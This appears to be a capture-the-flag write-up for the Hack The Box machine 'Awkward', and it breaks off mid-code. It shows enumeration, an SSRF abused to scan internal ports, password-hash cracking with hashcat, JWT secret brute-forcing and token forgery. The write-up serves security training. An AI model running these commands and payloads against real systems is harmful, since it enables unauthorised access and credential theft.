INDEX



Awkward box HTB

Enumeration

  • nmap -sV -p- -A 10.10.11.185
      PORT   STATE SERVICE VERSION
      22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
      | ssh-hostkey: 
      |   256 7254afbaf6e2835941b7cd611c2f418b (ECDSA)
      |_  256 59365bba3c7821e326b37d23605aec38 (ED25519)
      80/tcp open  http    nginx 1.18.0 (Ubuntu)
      |_http-server-header: nginx/1.18.0 (Ubuntu)
      |_http-title: Site doesn't have a title (text/html).
      Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    

    curl 10.10.11.185

      <!DOCTYPE html>
      <html>
      <head>
      <meta http-equiv="Refresh" content="0; url='http://hat-valley.htb'" />
      </head>
      <body>
      </body>
      </html>
    

    gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://hat-valley.htb/

      /static               (Status: 301) [Size: 179] [--> /static/]
      /css                  (Status: 301) [Size: 173] [--> /css/]
      /js                   (Status: 301) [Size: 171] [--> /js/]
    
  • http://hat-valley.htb/js/app.js → site created with VUE.js

    seeing the http://hat-valley.htb/js/custom.js file I tried to do a HTTP POST:
    curl -d "firstname=test&email=test@test.htb&lastname=test&message=test&agree=yes" -X POST http://hat-valley.htb/

      <!DOCTYPE html>
      <html lang="en">
      <head>
      <meta charset="utf-8">
      <title>Error</title>
      </head>
      <body>
      <pre>Cannot POST /</pre>
      </body>
      </html>
    

    the site mentions: We are currently building an online store! No longer do you have to come visit us - stay at home, visit your local library or steal your neighbours internet, and buy our hats online!

    I’m looking for subdomains: ./eren.bin subdomain_fuzzing hat-valley.htb --threads 100

      [FOUND] LINE 100 --> http://store.hat-valley.htb
    

    found the subdomain, I also search in the file http://hat-valley.htb/js/app.js the keywords “store”, “.htb”, “href”:

      return _services_status_js__WEBPACK_IMPORTED_MODULE_2__["default"].store_status("http://store.hat-valley.htb")
    
      __webpack_require__(/*! /var/www/hat-valley.htb/node_modules/webpack/hot/dev-server.js */"./node_modules/webpack/hot/dev-server.js");
      __webpack_require__(/*! /var/www/hat-valley.htb/node_modules/webpack-dev-server/client/index.js?http://localhost:8080&sockPath=/sockjs-node */"./node_modules/webpack-dev-server/client/index.js?http://localhost:8080&sockPath=/sockjs-node");
    
      window.location.href = "/dashboard"
    

    there is a very interesting subpage http://hat-valley.htb/sockjs-node, I go in order and analyze the whole store first

  • I visit http://store.hat-valley.htb and http://hat-valley.htb/dashboard (redirect to http://hat-valley.htb/hr) → both require a login

    NOTE: http://store.hat-valley.htb uses https://en.wikipedia.org/wiki/Basic_access_authentication

    I search in http://hat-valley.htb/js/app.js if there are references to the word “login”:

      if ((to.name == 'leave' || to.name == 'dashboard') && vue_cookie_next__WEBPACK_IMPORTED_MODULE_2__["VueCookieNext"].getCookie('token') == 'guest') {
          //if user not logged in, redirect to login
          next({name: 'hr'});
      } else if (to.name == 'hr' && vue_cookie_next__WEBPACK_IMPORTED_MODULE_2__["VueCookieNext"].getCookie('token') != 'guest') {
          //if user logged in, skip past login to dashboard
          next({name: 'dashboard'});
      } else {
          next();
      }
    

    seeing the control in the previous code just change the value of the token with a value other than guest to be taken to the /dashboard

  • the site basically has only one function: Leave Requests, I put random parameters and see if it generates traffic:

      JsonWebTokenError: jwt malformed
          at Object.module.exports [as verify] (/var/www/hat-valley.htb/node_modules/jsonwebtoken/verify.js:63:17)
          at /var/www/hat-valley.htb/server/server.js:102:30
          at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5)
          at next (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:144:13)
          at Route.dispatch (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:114:3)
          at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5)
          at /var/www/hat-valley.htb/node_modules/express/lib/router/index.js:284:15
          at Function.process_params (/var/www/hat-valley.htb/node_modules/express/lib/router/index.js:346:12)
          at next (/var/www/hat-valley.htb/node_modules/express/lib/router/index.js:280:10)
          at cookieParser (/var/www/hat-valley.htb/node_modules/cookie-parser/index.js:71:5)
    

    I see in the Network tab of the browser that the following URLs have been contacted and both respond with the same error above (HTTP 500):

    I go into JWT: https://www.vaadata.com/blog/jwt-tokens-and-security-working-principles-and-use-cases/

    ok, is it bypassable? https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a

    unfortunately I don’t think it can be bypassed, I don’t have enough elements so I go back to the enumeration

  • https://stackoverflow.com/questions/71929421/call-vue-store-action-through-browser-console

    Array.from(document.querySelectorAll('*')).find(e => e.__vue_app__).__vue_app__.config.globalProperties

      $cookie: {install: ƒ, config: ƒ, getCookie: ƒ, setCookie: ƒ, removeCookie: ƒ, }
      $route: (...)
      $router: {currentRoute: RefImpl, listening: true, addRoute: ƒ, removeRoute: ƒ, hasRoute: ƒ, }
      $store: Store {_committing: false, _actions: {}, _actionSubscribers: Array(0), _mutations: {}, _wrappedGetters: {}, }
      get $route: () => {}
      [[Prototype]]: Object
    

    Array.from(document.querySelectorAll('*')).find(e => e.__vue_app__).__vue_app__.config.globalProperties.$cookie.getCookie()

      null
    

    Array.from(document.querySelectorAll('*')).find(e => e.__vue_app__).__vue_app__.config.globalProperties.$router.getRoutes()

      0: {path: '/', redirect: undefined, name: 'base', meta: {}, aliasOf: undefined, }
      1: {path: '/hr', redirect: undefined, name: 'hr', meta: {}, aliasOf: undefined, }
      2: {path: '/dashboard', redirect: undefined, name: 'dashboard', meta: {}, aliasOf: undefined, }
      3: {path: '/leave', redirect: undefined, name: 'leave', meta: {}, aliasOf: undefined, }
    

    Array.from(document.querySelectorAll('*')).find(e => e.__vue_app__).__vue_app__.config.globalProperties.$store

      commit: ƒ boundCommit(type, payload, options)
      dispatch: ƒ boundDispatch(type, payload)
    
  • I search for the word “token” in http://hat-valley.htb/js/app.js and find the following functions:
      name: 'HR',
      data: function data() {
          return {
              username: '',
              password: ''
          };
      },
      methods: {
          updateUsername: function updateUsername(event) {
              this.username = event.target.value;
          },
          updatePassword: function updatePassword(event) {
              this.password = event.target.value;
          },
          hideError: function hideError() {
              document.getElementsByClassName("wrongCreds")[0].style.display = 'none';
          },
          submitForm: function submitForm(e) {
              var _this = this;
    
              return Object(_var_www_hat_valley_htb_node_modules_babel_runtime_helpers_esm_asyncToGenerator_js__WEBPACK_IMPORTED_MODULE_0__["default"])( /*#__PURE__*/ regeneratorRuntime.mark(function _callee() {
                  return regeneratorRuntime.wrap(function _callee$(_context) {
                      while (1) {
                          switch (_context.prev = _context.next) {
                              case 0:
                                  e.preventDefault();
                                  _context.next = 3;
                                  return _services_session_js__WEBPACK_IMPORTED_MODULE_3__["default"].login(_this.username, _this.password).then(function (data) {
                                      _this.$cookie.setCookie("token", data.token);
    
                                      _this.$store.commit('change', {
                                          name: "firstName",
                                          value: data.name
                                      });
    
                                      localStorage.setItem("firstName", data.name);
                                      window.location.href = "/dashboard"; //instead of router.push so JS charts is executed
                                  }).catch(function (error) {
                                      document.getElementsByClassName("wrongCreds")[0].style.display = 'block';
                                      _this.username = '';
                                      _this.password = '';
                                      document.getElementById("sign-in-form").reset();
                                  });
    
                              case 3:
                              case "end":
                                  return _context.stop();
                          }
                      }
                  }, _callee);
              }))();
          }
      }
    

    starting from Array.from(document.querySelectorAll('*')).find(e => e.__vue_app__).__vue_app__.config.globalProperties I can trace the position of the previous functions.
    So I’m able to enumerate all the other functions present in the routes:

    • Array.from(document.querySelectorAll('*')).find(e => e.__vue_app__).__vue_app__.config.globalProperties.$router.getRoutes()[1].components.default
        data: ƒ data()
        methods: 
            hideError: ƒ hideError()
            submitForm: ƒ submitForm(e)
            updatePassword: ƒ updatePassword(event)
            updateUsername: ƒ updateUsername(event)
            [[Prototype]]: Object
            name: "HR"
        render: ƒ render(_ctx, _cache, $props, $setup, $data, $options)
        __file: "src/HR.vue"
        __hmrId: "4a4031a3"
        __scopeId: "data-v-4a4031a3"
        [[Prototype]]: Object
      
    • Array.from(document.querySelectorAll('*')).find(e => e.__vue_app__).__vue_app__.config.globalProperties.$router.getRoutes()[0].components.default
        name: "Base"
        render: ƒ render(_ctx, _cache, $props, $setup, $data, $options)
        __file: "src/Base.vue"
        __hmrId: "4c40c86c"
        __scopeId: "data-v-4c40c86c"
        [[Prototype]]: Object
      
    • Array.from(document.querySelectorAll('*')).find(e => e.__vue_app__).__vue_app__.config.globalProperties.$router.getRoutes()[2].components.default
        created: ƒ created()
        data: ƒ data()
        methods: 
            getStaff: ƒ getStaff()
            logout: ƒ logout()
            refreshStatus: ƒ refreshStatus()
            [[Prototype]]: Object
            name: "Dashboard"
        render: ƒ render(_ctx, _cache, $props, $setup, $data, $options)
        setup: ƒ __injectCSSVars__()
        __file: "src/Dashboard.vue"
        __hmrId: "4bc724eb"
        __scopeId: "data-v-4bc724eb"
        [[Prototype]]: Object
      
    • Array.from(document.querySelectorAll('*')).find(e => e.__vue_app__).__vue_app__.config.globalProperties.$router.getRoutes()[3].components.default
        created: ƒ created()
        data: ƒ data()
        methods:
            hideSuccess: ƒ hideSuccess()
            logout: ƒ logout()
            refreshLeave: ƒ refreshLeave()
            submitForm: f submitForm(e)
            updateEnd: ƒ updateEnd(event)
            updateReason: ƒ updateReason(event)
            updateStart: ƒ updateStart(event)
            [[Prototype]]: Object
            name: "Leave"
        render: ƒ render(_ctx, _cache, $props, $setup, $data, $options)
        __file: "src/Leave.vue"
        __hmrId: "33fd770e"
        __scopeId: "data-v-33fd770e"
        [[Prototype]]: Object
      
  • I retrieve the sources of the other functions:

    •   name: 'Dashboard',
        data: function data() {
            return {
                status: null,
                color: null,
                staff_details: null
            };
        },
        methods: {
            refreshStatus: function () {
                var _refreshStatus = Object(_var_www_hat_valley_htb_node_modules_babel_runtime_helpers_esm_asyncToGenerator_js__WEBPACK_IMPORTED_MODULE_0__["default"])( /*#__PURE__*/ regeneratorRuntime.mark(function _callee() {
                    var _this = this;
      
                    return regeneratorRuntime.wrap(function _callee$(_context) {
                        while (1) {
                            switch (_context.prev = _context.next) {
                                case 0:
                                    _context.next = 2;
                                    return _services_status_js__WEBPACK_IMPORTED_MODULE_2__["default"].store_status("http://store.hat-valley.htb").then(function (data) {
                                        if (data.length > 0) {
                                            _this.status = "Up";
                                            _this.color = "green";
                                        } else {
                                            _this.status = "Down";
                                            _this.color = "red";
                                        }
                                    }).catch(function (error) {
                                        console.log(error);
                                    });
      
                                case 2:
                                case "end":
                                    return _context.stop();
                            }
                        }
                    }, _callee);
                }));
      
                function refreshStatus() {
                    return _refreshStatus.apply(this, arguments);
                }
      
                return refreshStatus;
            },
            getStaff: function () {
                var _getStaff = Object(_var_www_hat_valley_htb_node_modules_babel_runtime_helpers_esm_asyncToGenerator_js__WEBPACK_IMPORTED_MODULE_0__["default"])( /*#__PURE__*/ regeneratorRuntime.mark(function _callee2() {
                    var _this2 = this;
      
                    return regeneratorRuntime.wrap(function _callee2$(_context2) {
                        while (1) {
                            switch (_context2.prev = _context2.next) {
                                case 0:
                                    _context2.next = 2;
                                    return _services_staff_js__WEBPACK_IMPORTED_MODULE_3__["default"].staff_details().then(function (data) {
                                        _this2.staff_details = data;
                                    }).catch(function (error) {
                                        console.log(error);
                                    });
      
                                case 2:
                                case "end":
                                    return _context2.stop();
                            }
                        }
                    }, _callee2);
                }));
      
                function getStaff() {
                    return _getStaff.apply(this, arguments);
                }
      
                return getStaff;
            },
            logout: function logout() {
                this.$cookie.removeCookie("token");
                this.$store.commit('change', {
                    name: "firstName",
                    value: null
                });
                localStorage.clear();
                this.$router.push('/hr');
            }
        }
      

      I try to call the function: Array.from(document.querySelectorAll('*')).find(e => e.__vue_app__).__vue_app__.config.globalProperties.$router.getRoutes()[2].components.default.methods.getStaff()

        JsonWebTokenError: jwt malformed
            at Object.module.exports [as verify] (/var/www/hat-valley.htb/node_modules/jsonwebtoken/verify.js:63:17)
            at /var/www/hat-valley.htb/server/server.js:151:30
            at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5)
            at next (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:144:13)
            at Route.dispatch (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:114:3)
            at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5)
            at /var/www/hat-valley.htb/node_modules/express/lib/router/index.js:284:15
            at Function.process_params (/var/www/hat-valley.htb/node_modules/express/lib/router/index.js:346:12)
            at next (/var/www/hat-valley.htb/node_modules/express/lib/router/index.js:280:10)
            at cookieParser (/var/www/hat-valley.htb/node_modules/cookie-parser/index.js:71:5)
      

      again I need to have the JWT token obtained through login

    •   name: 'Leave',
        data: function data() {
            return {
                leave_requests: null,
                reason: null,
                start: null,
                end: null
            };
        },
        methods: {
            updateReason: function updateReason(event) {
                this.reason = event.target.value;
            },
            updateStart: function updateStart(event) {
                var split = event.target.value.split("-");
                var finalStart = split[2] + "/" + split[1] + "/" + split[0];
                this.start = finalStart;
            },
            updateEnd: function updateEnd(event) {
                var split = event.target.value.split("-");
                var finalEnd = split[2] + "/" + split[1] + "/" + split[0];
                this.end = finalEnd;
            },
            hideSuccess: function hideSuccess() {
                document.getElementsByClassName("successMessage")[0].style.display = 'none';
            },
            refreshLeave: function () {
                var _refreshLeave = Object(_var_www_hat_valley_htb_node_modules_babel_runtime_helpers_esm_asyncToGenerator_js__WEBPACK_IMPORTED_MODULE_0__["default"])( /*#__PURE__*/regeneratorRuntime.mark(function _callee() {
                var _this = this;
      
                return regeneratorRuntime.wrap(function _callee$(_context) {
                    while (1) {
                    switch (_context.prev = _context.next) {
                        case 0:
                        _context.next = 2;
                        return _services_leave_js__WEBPACK_IMPORTED_MODULE_5__["default"].get_all() //changed
                        .then(function (data) {
                            var arr = data.split("\"");
                            arr.pop(); //remove empty extra line
      
                            //remove empty extra line
                            var leaves = [];
      
                            for (var i = 0; i < arr.length; i++) {
                            arr[i] = arr[i].replace(/(\\r\\n|\\n|\\r)/gm, ""); //remove line breaks
      
                            //remove line breaks
                            var splitUp = arr[i].split(",");
                            var toAdd = {
                                reason: splitUp[1],
                                start: splitUp[2],
                                end: splitUp[3],
                                approved: splitUp[4]
                            };
                            leaves.push(toAdd);
                            }
      
                            _this.leave_requests = leaves;
                        }).catch(function (error) {
                            console.log(error);
                        });
      
                        case 2:
                        case "end":
                        return _context.stop();
                    }
                    }
                }, _callee);
                }));
      
                function refreshLeave() {
                return _refreshLeave.apply(this, arguments);
                }
      
                return refreshLeave;
            }(),
            submitForm: function submitForm(e) {
                var _this2 = this;
      
                return Object(_var_www_hat_valley_htb_node_modules_babel_runtime_helpers_esm_asyncToGenerator_js__WEBPACK_IMPORTED_MODULE_0__["default"])( /*#__PURE__*/regeneratorRuntime.mark(function _callee2() {
                return regeneratorRuntime.wrap(function _callee2$(_context2) {
                    while (1) {
                    switch (_context2.prev = _context2.next) {
                        case 0:
                        e.preventDefault();
                        _context2.next = 3;
                        return _services_leave_js__WEBPACK_IMPORTED_MODULE_5__["default"].submit_leave(_this2.reason, _this2.start, _this2.end).then(function (data) {
                            document.getElementsByClassName("successMessage")[0].style.display = 'block';
                            document.getElementById("leave-form").reset();
      
                            _this2.refreshLeave();
                        }).catch(function (error) {});
      
                        case 3:
                        case "end":
                        return _context2.stop();
                    }
                    }
                }, _callee2);
                }))();
            },
            logout: function logout() {
                this.$cookie.removeCookie("token");
                this.$store.commit('change', {
                name: "firstName",
                value: null
                });
                localStorage.clear();
                this.$router.push('/hr');
            }
        }
      

      I try to call the function: Array.from(document.querySelectorAll('*')).find(e => e.__vue_app__).__vue_app__.config.globalProperties.$router.getRoutes()[3].components.default.methods.refreshLeave()

        JsonWebTokenError: jwt malformed
            at Object.module.exports [as verify] (/var/www/hat-valley.htb/node_modules/jsonwebtoken/verify.js:63:17)
            at /var/www/hat-valley.htb/server/server.js:102:30
            at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5)
            at next (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:144:13)
            at Route.dispatch (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:114:3)
            at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5)
            at /var/www/hat-valley.htb/node_modules/express/lib/router/index.js:284:15
            at Function.process_params (/var/www/hat-valley.htb/node_modules/express/lib/router/index.js:346:12)
            at next (/var/www/hat-valley.htb/node_modules/express/lib/router/index.js:280:10)
            at cookieParser (/var/www/hat-valley.htb/node_modules/cookie-parser/index.js:71:5)
      

      again I need to have the JWT token obtained through login

  • there are also other functions in the http://hat-valley.htb/js/app.js file but not accessible from the globalProperties:
      var baseURL = "/api/";
      var get_all = function get_all() {
          return axios__WEBPACK_IMPORTED_MODULE_0___default.a.get(baseURL + 'all-leave').then(function (response) {
              return response.data;
          });
      };
      var submit_leave = function submit_leave(reason, start, end) {
          return axios__WEBPACK_IMPORTED_MODULE_0___default.a.post(baseURL + 'submit-leave', {
              reason: reason,
              start: start,
              end: end
          }).then(function (response) {
              return response.data;
          });
      };
    
      var baseURL = "/api/";
      var login = function login(username, password) {
          return axios__WEBPACK_IMPORTED_MODULE_0___default.a.post(baseURL + 'login', {
              username: username,
              password: password
          }).then(function (response) {
              return response.data;
          });
      };
    
      var baseURL = "/api/";
      var staff_details = function staff_details() {
          return axios__WEBPACK_IMPORTED_MODULE_0___default.a.get(baseURL + 'staff-details').then(function (response) {
              return response.data;
          });
      };
    
      var baseURL = "/api/";
      var store_status = function store_status(URL) {
          var params = {
              url: {
                  toJSON: function toJSON() {
                      return URL;
                  }
              }
          };
          return axios__WEBPACK_IMPORTED_MODULE_0___default.a.get(baseURL + 'store-status', {
              params: params
          }).then(function (response) {
              return response.data;
          });
      };
    
  • http://hat-valley.htb/api/store-status

    from the requests made by the browser I can see: http://hat-valley.htb/api/store-status?url=%22http:%2F%2Fstore.hat-valley.htb%22

    URL decoded and I got: http://hat-valley.htb/api/store-status?url="http://store.hat-valley.htb"

    so I can pass a URL at will? isn’t the website corresponding to the store hard-coded? that’s great, most likely an SSRF is present

    http://hat-valley.htb/api/store-status?url=%22http://10.10.14.58:4444%22

      GET / HTTP/1.1
      Accept: application/json, text/plain, */*
      User-Agent: axios/0.27.2
      Host: 10.10.14.58:4444
      Connection: close
    

    SSRF found, now I need to figure out how to exploit it

    I can put some json/text into the html page and it shows server side

    I’ve tried several injections but I can’t do much

  • http://hat-valley.htb/api/staff-details I always get the usual error:
      JsonWebTokenError: jwt malformed
          at Object.module.exports [as verify] (/var/www/hat-valley.htb/node_modules/jsonwebtoken/verify.js:63:17)
          at /var/www/hat-valley.htb/server/server.js:151:30
          at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5)
          at next (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:144:13)
          at Route.dispatch (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:114:3)
          at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5)
          at /var/www/hat-valley.htb/node_modules/express/lib/router/index.js:284:15
          at Function.process_params (/var/www/hat-valley.htb/node_modules/express/lib/router/index.js:346:12)
          at next (/var/www/hat-valley.htb/node_modules/express/lib/router/index.js:280:10)
          at cookieParser (/var/www/hat-valley.htb/node_modules/cookie-parser/index.js:71:5)
    

    instead if I delete the token cookie and do an HTTP GET to http://hat-valley.htb/api/staff-details

      [
          {
              "user_id":1,
              "username":"christine.wool",
              "password":"6529fc6e43f9061ff4eaa806b087b13747fbe8ae0abfd396a5c4cb97c5941649",
              "fullname":"Christine Wool",
              "role":"Founder, CEO",
              "phone":"0415202922"
          },
          {
              "user_id":2,
              "username":"christopher.jones",
              "password":"e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1",
              "fullname":"Christopher Jones",
              "role":"Salesperson",
              "phone":"0456980001"
          },
          {
              "user_id":3,
              "username":"jackson.lightheart",
              "password":"b091bc790fe647a0d7e8fb8ed9c4c01e15c77920a42ccd0deaca431a44ea0436",
              "fullname":"Jackson Lightheart",
              "role":"Salesperson",
              "phone":"0419444111"
          },
          {
              "user_id":4,
              "username":"bean.hill",
              "password":"37513684de081222aaded9b8391d541ae885ce3b55942b9ac6978ad6f6e1811f",
              "fullname":"Bean Hill",
              "role":"System Administrator",
              "phone":"0432339177"
          }
      ]
    

    they are SHA256 hashes, I try to do a bruteforce attack saving all 4 hashes in hash.txt file

      6529fc6e43f9061ff4eaa806b087b13747fbe8ae0abfd396a5c4cb97c5941649
      e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1
      b091bc790fe647a0d7e8fb8ed9c4c01e15c77920a42ccd0deaca431a44ea0436
      37513684de081222aaded9b8391d541ae885ce3b55942b9ac6978ad6f6e1811f
    

    hashcat -m 1400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt -O

    I get: e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1:chris123

    so I log in as christopher.jones : chris123 in the http://hat-valley.htb/hr page

  • I’m logged in and finally I can create Leave Requests at http://hat-valley.htb/leave

    I notice that I cannot use the following characters: #, {,}, *, $, ", (, )

    therefore an SSTI attack is not feasible

    I try to see if there is an SQLI: sqlmap -r request.txt --os='linux' --level=5 --risk=3

    
    
  • now that I think about it I have the token cookie and consequently I can get more information about the used JWT:
      eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjcwMjc0MTkxfQ.7vMDJi74kTnjzGNQcXgbrMNLcqQdxhKD10Umi49jczM
    

    decoding the base64 I can see the structure:

      {"alg":"HS256","typ":"JWT"}{"username":"christopher.jones","iat":1670274191}.ï02bï...<Æ5...ºÌ4·*AÜa(=tRh¸ö73
    

    https://auth0.com/blog/brute-forcing-hs256-is-possible-the-importance-of-using-strong-keys-to-sign-jwts/

    https://github.com/brendan-rius/c-jwt-cracker (does not support dictionary attack)

    https://github.com/aress31/jwtcat (supports dictionary attack)

    I then run: python jwtcat.py wordlist -w /usr/share/wordlists/rockyou.txt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjcwMjc0MTkxfQ.7vMDJi74kTnjzGNQcXgbrMNLcqQdxhKD10Umi49jczM

      2022-12-12 21:20:51,843 kali __main__[10295] INFO Private key found: 123beany123
      2022-12-12 21:20:51,843 kali __main__[10295] INFO Finished in 251.86414098739624 sec
    

    now I can create an adhoc token for the user with admin permissions from the site https://jwt.io

      header = {"alg":"HS256","typ":"JWT"}
      payload = {"username":"bean.hill","iat":1670877138} #www.epochconverter.com
      signature key = 123beany123
    

    results: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImJlYW4uaGlsbCIsImlhdCI6MTY3MDg3NzEzOH0.YQha0dBiD60yUOzD65mWLtCqDpXdZNyMol7ndnH71os

    /hr, /dashboard and /leave pages show no difference once the token is set

  • I’m stuck, I thought this was the way but now I have to go back

    I haven’t tried redirecting the SSRF to 127.0.0.1 yet

    going back in the writeup it was present inside the http://hat-valley.htb/js/app.js file:

      __webpack_require__(/*! /var/www/hat-valley.htb/node_modules/webpack-dev-server/client/index.js?http://localhost:8080&sockPath=/sockjs-node */"./node_modules/webpack-dev-server/client/index.js?http://localhost:8080&sockPath=/sockjs-node");
    

    I had tried to enumerate from the outside http://hat-valley.htb/sockjs-node but with poor results:

    • explanation: https://sockjs.github.io/sockjs-protocol/sockjs-protocol-0.3.3.html

    • https://sockjs.github.io/sockjs-protocol/sockjs-protocol-0.3.3.html#section-26

      http://hat-valley.htb/sockjs-node/info

        {"websocket":true,"origins":["*:*"],"cookie_needed":false,"entropy":896627513}
      
    • https://github.com/sockjs/sockjs-protocol#running-tests

      SOCKJS_URL=http://hat-valley.htb:80/sockjs-node ./venv/bin/python sockjs-protocol.py -v

        test_greeting (__main__.BaseUrlGreeting) ... FAIL
        test_notFound (__main__.BaseUrlGreeting) ... ok
        test_response_limit (__main__.EventSource) ... FAIL
        test_transport (__main__.EventSource) ... FAIL
        test_abort_xhr_polling (__main__.HandlingClose) ... FAIL
        test_abort_xhr_streaming (__main__.HandlingClose) ... FAIL
        test_close_frame (__main__.HandlingClose) ... FAIL
        test_close_request (__main__.HandlingClose) ... FAIL
        test_invalid_callback (__main__.HtmlFile) ... FAIL
        test_no_callback (__main__.HtmlFile) ... FAIL
        test_response_limit (__main__.HtmlFile) ... FAIL
        test_transport (__main__.HtmlFile) ... FAIL
        test_streaming (__main__.Http10) ... FAIL
        test_synchronous (__main__.Http10) ... FAIL
        test_streaming (__main__.Http11) ... FAIL
        test_synchronous (__main__.Http11) ... FAIL
        test_cacheability (__main__.IframePage) ... FAIL
        test_invalidUrl (__main__.IframePage) ... ok
        test_queriedUrl (__main__.IframePage) ... FAIL
        test_simpleUrl (__main__.IframePage) ... FAIL
        test_versionedUrl (__main__.IframePage) ... FAIL
        test_basic (__main__.InfoTest) ... FAIL
        test_disabled_websocket (__main__.InfoTest) ... FAIL
        test_entropy (__main__.InfoTest) ... ERROR
        test_options (__main__.InfoTest) ... FAIL
        test_options_null_origin (__main__.InfoTest) ... FAIL
        test_xhr_server_decodes (__main__.JSONEncoding) ... FAIL
        test_xhr_server_encodes (__main__.JSONEncoding) ... FAIL
        test_basic (__main__.JsessionidCookie) ... FAIL
        test_eventsource (__main__.JsessionidCookie) ... FAIL
        test_htmlfile (__main__.JsessionidCookie) ... FAIL
        test_jsonp (__main__.JsessionidCookie) ... FAIL
        test_xhr (__main__.JsessionidCookie) ... FAIL
        test_xhr_streaming (__main__.JsessionidCookie) ... FAIL
        test_close (__main__.JsonPolling) ... FAIL
        test_content_types (__main__.JsonPolling) ... FAIL
        test_invalid_callback (__main__.JsonPolling) ... FAIL
        test_invalid_json (__main__.JsonPolling) ... FAIL
        test_no_callback (__main__.JsonPolling) ... FAIL
        test_sending_empty_frame (__main__.JsonPolling) ... FAIL
        test_transport (__main__.JsonPolling) ... FAIL
        test_closeSession (__main__.Protocol) ... FAIL
        test_simpleSession (__main__.Protocol) ... FAIL
        test_close (__main__.RawWebsocket) ... ERROR
        test_transport (__main__.RawWebsocket) ... ERROR
        test_anyValue (__main__.SessionURLs) ... FAIL
        test_ignoringServerId (__main__.SessionURLs)
        See Protocol.test_simpleSession for explanation. ... FAIL
        test_invalidPaths (__main__.SessionURLs) ... ok
        test_broken_json (__main__.Websocket) ... ERROR
        test_close (__main__.Websocket) ... ERROR
        test_empty_frame (__main__.Websocket) ... ERROR
        test_haproxy (__main__.Websocket) ... FAIL
        test_headersSanity (__main__.Websocket) ... FAIL
        test_reuseSessionId (__main__.Websocket) ... ERROR
        test_transport (__main__.Websocket) ... ERROR
        test_httpMethod (__main__.WebsocketHttpErrors) ... FAIL
        test_invalidConnectionHeader (__main__.WebsocketHttpErrors) ... FAIL
        test_invalidMethod (__main__.WebsocketHttpErrors) ... FAIL
        test_content_types (__main__.XhrPolling) ... FAIL
        test_invalid_json (__main__.XhrPolling) ... FAIL
        test_invalid_session (__main__.XhrPolling) ... ok
        test_options (__main__.XhrPolling) ... FAIL
        test_request_headers_cors (__main__.XhrPolling) ... FAIL
        test_sending_empty_frame (__main__.XhrPolling) ... FAIL
        test_transport (__main__.XhrPolling) ... FAIL
        test_options (__main__.XhrStreaming) ... FAIL
        test_response_limit (__main__.XhrStreaming) ... FAIL
        test_transport (__main__.XhrStreaming) ... FAIL
      

      tests passed:

        test_notFound (__main__.BaseUrlGreeting) ... ok
        test_invalidUrl (__main__.IframePage) ... ok
        test_invalidPaths (__main__.SessionURLs) ... ok
        test_invalid_session (__main__.XhrPolling) ... ok
      

    now instead I try to look inside the page: http://localhost:8080&sockPath=/sockjs-node

    while I’m looking at port 8080 I can try to see if there are other ports capable of talking HTTP:
    for port in $(seq 1 10000); do if [ $(curl -s "http://hat-valley.htb/api/store-status?url=%22http://localhost:$port%22" | wc -l) -gt 0 ]; then echo "port $port is open and speaks HTTP"; fi; done

      port 80 is open and speaks HTTP
      port 3002 is open and speaks HTTP
      port 8080 is open and speaks HTTP
    
  • http://hat-valley.htb/api/store-status?url=%22http://127.0.0.1:8080%22 is empty

  • http://hat-valley.htb/api/store-status?url=%22http://127.0.0.1:3002%22 contains the documentation of the functions I have already enumerated

    • Staff Details (/api/staff-details) - Retrieve the details of the Hat Valley staff.
        app.get('/api/staff-details', (req, res) => {
            const user_token = req.cookies.token
            var authFailed = false
            if(user_token) {
                const decodedToken = jwt.verify(user_token, TOKEN_SECRET)
                if(!decodedToken.username) {
                authFailed = true
                }
            }
            if(authFailed) {
                return res.status(401).json({Error: "Invalid Token"})
            }
            connection.query(
                'SELECT * FROM users', 
                function (err, results) {
                if(err) {
                    return res.status(500).send("Database error")
                }
                else {
                    return res.status(200).json(results)
                }
                }
            );
        })
      
    • Store Status (/api/store-status) - Retrieve the status of the Hat Valley online store.
        app.get('/api/store-status', async (req, res) => {
            await axios.get(req.query.url.substring(1, req.query.url.length-1))
            .then(http_res => {
                return res.status(200).send(http_res.data)
                })
            .catch(http_err => {
                return res.status(200).send(http_err.data)
                })
        })
      
    • Submit Leave (/api/submit-leave) - Submit a new leave request for the logged in user.
        app.post('/api/submit-leave', (req, res) => {
            const {reason, start, end} = req.body
            const user_token = req.cookies.token
            var authFailed = false
            var user = null
            if(user_token) {
